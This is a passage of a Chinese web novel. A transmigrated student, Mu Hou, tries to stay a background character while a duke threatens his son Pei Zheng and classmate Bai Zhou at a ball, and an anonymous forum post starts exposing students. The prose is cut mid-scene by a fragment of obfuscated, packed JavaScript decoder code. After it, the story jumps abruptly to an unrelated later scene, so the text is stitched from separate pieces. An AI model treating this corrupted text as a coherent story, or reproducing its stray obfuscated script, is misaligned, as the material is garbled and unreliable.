他拿起写有赞美词的纸张刚要站起身,丁鹏程凑过来,战友一样拍了拍他后背: “加油,我们在第一排见!” 牧后:“……” 你可别咒我。 过程很顺利,三个裁判都给了中等的分数,就是领队迟迟没公布他的出分。 牧后走过去看是出什么问题了,刚凑过身,领队站起来拍拍他的肩膀,叹了口气: “你刚才来找我申请加入的时候,我就知道你的内心有多么的热情似火,没想到你这次的表现却没有我想象中好啊。” 牧后暗叫糟糕。难道领队察觉到他的敷衍,决定把他请出去了? 不应该,自己的分寸应该拿捏的恰到好处才对。 呃……不知道外面的空调修好了没。 还是再挣扎一下吧。 牧后立刻微垂下头,一副即将落泪的丧气样子:“领队……” 领队很大力地摇了摇牧后的肩膀:“哎,虽然分数不高,但我能看出你的用功,就这么去第三排肯定很不甘心对不对?” 这话听起来不像是要赶我走? 牧后眉头微挑。 他抬起头,伸手抹去眼角压根不存在的泪水,“您的意思是……?” “我打算破格安排你去第一排。”领队满脸欣慰。 ……啊? 牧后感觉自己此刻如同身受重伤,得仔细忍着才能不喷血当场,“不、这不合适吧,领队?刚才裁判也给出分数了,我的确实不高。” “哎,没事,”领队说,“虽然创意平平,但是你的情感很饱满、很充沛,再加上你追随F4的时间长、资历又好,说出去是能服众的。” “这……”牧后垂下眼睑。 必须要拒绝。 真是见鬼。他才不会像那些意志不坚定的可怜主角一样,被一点突发事件打的措手不及,半推半就听从了安排。 小说情节的力量是巨大的,第一排有多危险他能不知道? 即便是路人也不能掉以轻心,这很有可能成为后续无穷麻烦的伏笔。 “不行,您的好意我心领了,但这样不合适。”牧后诚恳地说,“我刚加入就被您破格提拔,很容易影响您的声誉,被人私底下说三道四。” “你说的也有道理。”领队沉吟,“那你……” 牧后松了口气,幸好领队是可以沟通的人: “那我还是留在第三——” “你就去第二排吧。”领队一锤定音。 牧后:“……” 没事没事,第二排也不错。 起码不是最坏的状况。 牧后丧眉搭眼地站到了第二排,不一会遇到了同样丧眉搭眼的丁鹏程。 “我就差一点,就一点就能去第一排了。” 丁鹏程看着情绪同样低落的牧后,深觉同病相怜,抱着牧后开始默默流泪。 牧后:“……” 他拍了拍丁鹏程的肩膀,试图安慰: “你看第三、第四排的人都没哭呢,他们离过道最远,你起码还能从缝隙中看到F4的背影。” “你不懂,如果分到第三排我就认命了,” 丁鹏程抽抽噎噎地拿牧后的肩膀擦眼泪,“可我就差那么一点啊!如流沙逝于指间,触手可及却失之交臂的感觉才是最最痛苦。” 牧后:“……” 文采不错,没到第一排确实屈才了。 还有咱们校服不吸水,你再怎么蹭来蹭去眼泪也擦不干净。 11.第 11 章 若干分钟前。 舞会接近尾声,舞伴们回归原位,裴拯接住旋转着回来的白昼。 两人随着变得紧凑起来的曲调在舞池中旋转。 “为什么一直不说话?难道是因为我从靡怀烟的手中把你抢了过来,你为此感到不开心?”裴拯冷笑,“你该相信我。他绝不是什么好人。” “不是这样的……如果要论好与坏,”白昼的声音轻得像一缕烟,“我才是最坏的那个人。他对我很好,我却有可能会害死他。” 裴拯皱眉:“你要害他?” “不,当然不是,” 白昼慌张摇头。他一时解释不清,只好告诉了裴拯他的经历,“……我大概是一个诅咒。” “别管那些,”裴拯道,“你是诅咒,那我也是。” “我只有两位亲人,我的母亲和我的胞弟。他们都已经不在,我时常怀疑是不是我将他们克死了。” “那你的父亲……” “呵。”裴拯讥讽地笑了笑,“如果独裁者可以被称之为父亲,那我确实有一个。” 首席小提琴颤抖着拉出一个刺耳的长音,和谐的曲调被打破,跳舞的人们诧异地停下了脚步。 大厅中高而长的门被从外打开。 黑色的军装剪裁得体,肩章上的金色纹饰在灯光下泛着冷冽的光。 来者面容冷峻,眉骨高耸,眼窝深邃,目光如刀锋般锐利,扫过众人时,仿佛能洞穿一切虚伪和谎言。 这张与裴拯有足八分相似的脸让众人面面相觑——是裴先生。 如果说裴拯是只乖张暴戾的青年狮子,那么裴先生就是狮群中的王。 他已不再年轻,但绝不会让人觉得疲惫或苍老。时间似乎只给他刻下了威严。 “裴先生。” 人群裂开处传来带刺的问候,裴拯冷漠地看着这位不速之客。 他并没有像他的父亲那样身着军装,更是故意没佩家族的鸢尾肩章。 此时的伫立便成了一种反抗。 裴先生在离裴拯还有一米远的地方停住,他缓慢抬起手中的黑檀木手杖。 急速的杖风呼啸着撕裂空气,裴拯的右肩胛骨传来灼痛。 “对父口称‘先生’,无礼。” “放任恣睢,玩物丧志。无用。” “用人却不加以控制,无谋。” 每次评定都伴随着一杖毫不留情的鞭打。 三次过后,裴先生看着裴拯,如同看着一个令他费尽心血的失败品: “你对不起你的名字。” 白昼感觉裴拯捏住自己手腕的手骤然收紧。 这个总是面无表情的贵族青年此刻像绷紧的弓弦,黑色礼服下肌肉线条在暗纹布料下若隐若现。 舞池顶灯在他眉骨投下浓重阴影,却遮不住眼底跳动的暗火。 裴先生转身,向着来时的路:“回去。” 裴拯却像脚下生根了一样,没有动。 发觉裴拯没有跟随,裴先生回头注视他的幼子,像是从未在他身上看过到如此叛逆的一面。 人不可能无缘无故地发生改变。 裴先生的目光落在白昼身上:“是因为他?” 裴拯将白昼拉到身后,沉着声,“不。” 古典座钟恰在此时敲响。 公爵向前一步,跟随的侍卫们靴跟撞击出钢铁暴雨般的节奏。 手杖支撑着地板,公爵右手向虚空中轻轻一抬,身后训练有素的侍从立刻趋步上前,将一把银色手枪递到他手中。 他抬手,黑洞洞的枪口毫不犹豫地指向裴拯的肩膀: “让开。” 裴拯依旧没动。 他隔绝了绝大部分视线。 没人注意,一直被裴拯挡在身后的白昼,从口袋中拿出一只微缩型耳机,侧头戴上。 耳机里是牧后的声音: [裴拯还算个不错的人,对吧?至少他是真心护着你的。] [该你保护他了。] 白昼默然点头。 在裴拯紧皱的眉头和周围人倒吸冷气的声音中,白昼拉开裴拯的袖子,从他背后走了出来。 就这么直直地暴露在射程之内。 裴先生将枪口平平移向白昼的眉心。 “尚算自觉。”裴先生说,“为何主动站出来?若他执意护你,也许你还能活。” 裴先生举枪的手很稳。 [足够虚伪。] “足够虚伪。您不会让我活下去的,至于为什么主动站出来,” 白昼深吸一口气,说道: “我想,如果是您处在我的位置,想必——” [没关系的,不用紧张。] 牧后哼着不成调的歌,倒退着走在路两边突出的沿石上,看着灯火通明的斐尔金馆离自己越来越远。 “没关系的,不用紧张。” 初秋的夜晚依旧残存着暑气。 牧后解开衬衫最顶上的扣子,将手中喝空的矿泉水瓶扔进垃圾桶,西装外套松松松地搭在他的小臂上。 “告诉他——” 牧后停下脚步。 在月色下、星光中,牧后恬然微笑,向着浓重的夜色张开双臂,仿佛黑暗中潜藏着无数沉默注视着他的观众: “您会与我做出同样的选择。” …… …… …… 牧后:“……” 牧后站在教室门口,看着被人群淹没的白昼和自己被人群淹没的座位。 好嘛。无家可归了。 丁鹏程从旁边冒出来,从口袋里掏出五百块钱,递给牧后:“昨天的打工费。” 牧后眼睛一亮,立刻接过来放在嘴边亲了一下,“够义气,我以为拿不到了。” “你该亲我不是亲钱。要不是我帮你签退,你昨晚的工作就白干了。” 牧后立刻嘬嘬嘬地撅嘴。 丁鹏程推开他,“对了,你昨天走的太早,可错过了一件大事。” “跟谁相关的大事?” 牧后把纸币塞进口袋。 “看也看的出来吧,当然是我们班最新的话题人物,白昼了。” 丁鹏程抬了抬下巴,让牧后看向他们叽叽嚷嚷的座位处。 “我啊,本以为现场吃到了个大瓜,今天怎么着也可以跟大家好好八卦一番的……看来再怎么样也比不过事件的主角。” 丁鹏程的眼神颇有几分幽怨,“看来我八卦小王子、流言传递者、情报中转站的称号不久就会被取代。” 牧后:“……” 一个都没听说过。 这种自封的称号不要也罢。 牧后拍着肩膀安慰丁鹏程,“没事,以后还有很多近距离吃瓜的机会。” 丁鹏程越说越沮丧:“别安慰我了。我们这样的路人哪有那么好的运气,次次都能碰上大事件啊。” 牧后笑笑不语。 思考片刻,牧后问道,“要不然,你跟我说说昨天发生了什么?我不是还不知道么。” 丁鹏程眼睛一亮,“对啊,昨天……” 【“您会与我做出同样的选择。” 白昼站在大厅中央,四周的空气仿佛凝固了一般。 他的目光平静,几乎如同古井。 他不清楚牧后让他这么做的用意,但他知道这句话的危险之处。 把一个公爵拉到与自己相同的境遇之中,无异于赤裸的侮辱。 会死的。这人一定会死的。 周围的人低声议论着,眼神中充满了复杂的情绪——有怜悯,有恐惧,也有幸灾乐祸。 在这个国家,阶级的鸿沟如同天堑,平民的性命在贵族眼中不过是草芥。 只要有正当理由,公爵有权绕开法庭审判处置他们的性命。 你问哪里有正当理由? 哈。人都死了,理由还不好编么。 何况有传闻,这个可怜的平民还是个孤儿。 没人会为他说话,没人会替他伸冤,更没人会为他落泪。 “你不怕死?”裴先生突然开口,声音低沉而冰冷。 白昼抬起头,与裴先生的目光对视。 他的眼神中没有恐惧,只有一种近乎麻木的平静。 “怕?”他轻声反问,嘴角勾起一抹苦涩的笑,“我早就该死了。我害死了那么多人,凭什么还能活着?” 裴先生微微眯起眼睛,似乎对白昼的回答感到意外。他放下手中的枪,走到白昼面前。 他的目光越过白昼,落在了站在一旁的裴拯身上。 “我不会杀他。”裴先生突然说道,声音中带着一种不容置疑的威严。 周遭一片哗然。 白昼也愣了一下,但他很快恢复了平静。 他知道,裴先生的决定绝不会是出于仁慈。 “他可以成为你的磨刀石。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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回车键按下,一个白底蓝框的论坛页面跳了出来。 牧后迅速上滑屏幕,把整篇帖子从头到尾地浏览了一遍。 太像了。 虽然细节之处与原著有所出入,但整体脉络、视角、内心刻画简直一模一样。 是巧合,还是有另一个知道剧情的人? 会是孟宇华吗? 如果这个世界上除了他还有谁会知道,那就只有他了。 但他应该还在病床上躺着,医生诊断他短时间内绝无醒来的可能。 牧后的手指无意识停留在楼主的头像上。屏幕感应到触摸,跳转进入了个人主页。 除此之外,这个人还有一条帖子。牧后点进去。 “不应该。”牧后喃喃自语。 作为穿越者,他谨记自己“路人”的定位: 永远坐在教室最后一排靠窗位置,考试保持年级中游,连体育课打篮球都只传不投。 按照原著设定,这种背景板角色连在食堂打翻餐盘都不会有人多看一眼。 主楼只有一张高糊侧脸照,看角度像是偷拍。 照片里他正弯腰在图书馆书架间找书,白衬衫下摆露出一截腰线,睫毛在鼻梁投下细碎的阴影。 看衣着,这张照片起码是一周之前拍的。 置顶帖的标题用加粗红字标着《惊!八百万新生真实身份大起底》。 “楼主白夜:线索一,他的学生卡编号是ST-0427;线索二,上周四下午他曾在实验楼天台停留17分钟;线索三……” 回复区已经炸开锅: 【3L】爱吃瓜的兔子:这腰我死了!三分钟我要知道这个学弟全部信息! 【15L】量子力学不挂科:ST开头的编号?我们学校有这种学号? 【27L】薇薇后援会长:等等!上周四苏微也在实验楼!该不会是…… 牧后的太阳穴突突直跳。 原著里根本不存在“白夜”这个ID,更别说这些指向性极强的线索。他点开发帖人资料,注册时间是三天前,发完这个帖子就再没登录过。 楼主的头像泛灰,牧后点开大图。 衔尾石蛇。 -------------------------------------